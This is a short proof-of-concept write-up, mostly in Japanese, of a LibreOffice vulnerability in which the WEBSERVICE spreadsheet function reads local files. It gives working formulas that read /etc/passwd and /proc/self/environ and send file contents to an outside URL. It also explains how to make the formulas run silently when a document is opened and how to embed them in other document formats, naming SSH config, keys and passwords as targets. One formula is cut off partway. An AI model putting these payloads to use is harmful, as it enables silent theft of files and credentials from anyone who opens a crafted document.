
Proof of concept of LibreOffice remote arbitrary file disclosure vulnerability
LibreOfficeは COM.MICROSOFT.WEBSERVICE 関数をサポートしています:
https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4
この関数はURLからデータを取得するために必要で、通常は次のように使用されます:
=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")
原文では:
For protocols that are not supported, such as ftp: // or file: //, WEBSERVICE returns the #VALUE! error value.
LibreOfficeでは、5.4.5/6.0.1より前のバージョンではこれらの制限は実装されていません。
デフォルトではセルは更新されませんが、~error のようなセル型を指定すると、ドキュメントを開いたときにセルが更新されます。
ファイルを読み取るには、次のようにするだけです:
=WEBSERVICE("/etc/passwd")
この関数はファイルを送信するためにも使用できます:
=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))
成功させるには、現在のユーザーのファイルを送信する必要があるため、現在のユーザーのホームパスを取得する必要があります。
=MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=",
また、~/.ssh/config などの他のファイルも解析できます。
LibreOffice Calc 以外の形式では、Calc オブジェクトを他のドキュメントに埋め込むだけで済みます(動作することを確認しました)。
キー、パスワード、その他あらゆるファイルを簡単に送信できます。成功率100%、完全に静かで、GNU/Linux、MS Windows、macOS などすべてのオペレーティングシステムにおいて 5.4.5/6.0.1 より前の LibreOffice に影響し、LO がサポートするほぼすべての形式に埋め込むことができます。
この脆弱性は、私(@jollheef)と Ronnie Goodrich && Andrew Krasichkov によって独立して発見されました(LibreOffice チームのメモによる)。